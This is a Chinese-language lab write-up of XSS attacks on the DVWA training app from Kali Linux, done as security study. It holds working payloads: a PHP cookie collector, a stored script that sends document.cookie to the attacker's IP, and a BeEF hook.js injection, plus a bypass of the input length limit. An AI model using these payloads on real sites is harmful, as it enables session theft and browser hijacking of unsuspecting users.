kali学习笔记-05-DVWA XSS跨站脚本攻击
KaliLinux网络安防一、反射型XSS攻击
在OWASP的DVWA上,选中XSS reflected页面,在输入框内输入张三,页面反应正常。
尝试输入一句script脚本。
<script>alert('xss')</script>
出现了如下的系统弹框,也就意味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了 XSS 漏洞。
二、存储型XSS
在DVWA中选择XSS stored,在Name
中输入test
,在Message
中输入<script>alert('xss')</script>
。点击Sign Guestbook
按钮后,会弹出弹窗。如下图所示。
此时,换到另外一台计算机上,访问这个网站并点击XSS stored
选项,都会弹出这个弹窗,也就是说,都会受到脚本的攻击。
三、Kali获取用户的cookie
包括4个步骤:
-
构建收集 cookie 的服务器
-
构造XSS代码
-
植入 Web 服务器
-
等待受害者触发XSS代码并将cookie发送到kali
-
cookie的利用
分手动XSS和自动XSS分别介绍。
1. 手动型XSS
1-1. 在Kali中启动收集cookie的服务器
systemctl start apache2
1-2. 构造XSS代码
vi /var/www/html/cookie_rec.php
向其中写入如下内容:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
设置apache的权限。
sudo chown -R www-data:www-data /var/www/
1-3. 植入Web服务器
在页面上的Message
输入框中,输入如下内容:
<script>window.open("http://192.168.48.140/cookie_rec.php?cookie="+document.cookie)</script>
注音,这里的IP地址是Kali的IP地址。
由于网页有限制,我们输入不了这么长的内容。所以要修改网页,去掉这个限制。
按F12
进入开发者模式,进入Inspector
,找到Message
输入框对应的代码(鼠标滑过代码时页面上对应的部位会有提示),如下图所示。
可见,输入长度被限制在了50,在这里直接把它修改为200。然后输入上面的代码,如下图所示。
然后点击Sign Guestbook
。
1-4. 等待受害者触发XSS代码并将cookie发送到kali
现在我们假装是受害者,在另外一个机器上登录到同样的页面,输入信息后点击Sign Guestbook
,此时会出现一个被阻止的弹窗。如下图所示。设置允许弹窗。
到kali下面去查看,可以看到,cookie信息已经被收集。如图所示。
enter description here
1-5. 利用cookie
没有做这一步的实验。
2. 自动化XSS
Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。使用BeEF,我们将不再需要自己创建php文件。
2-1. 启动apache和BeEF
启动apache2,在kali中输入如下命令:
systemctl start apache2
beef不允许使用弱口令登录,所以要先修改beef-xss的登录密码。编辑文件/usr/share/beef-xss/config.yaml
,把passwd
修改为abc@123
。如下图所示。
从中可以看到,登录所使用的用户名是beef
。
2-2. 登录BeEF管理界面
在kali虚拟机的浏览器地址栏中,输入地127.0.0.1:3000/ui/authentication
,使用用户名beef
和密码abc@123
登录。
2-3. 植入Web服务器
在Message
输入框中输入如下脚本:
<script src="http://192.168.48.140:3000/hook.js"></script>
注意,这里的IP地址是kali虚拟机的IP地址。在浏览器中要修改最大字数限制。
点击Sign Guestbook
,允许弹窗,然后在beef的网页上,可以看到kali虚拟机的IP地址。如下图所示。
2-4. 功能演示
如下图所示,发送一个告警弹窗。
enter description here
在受害者的网页上,就会对应弹出窗口,如下图所示。
实验完毕。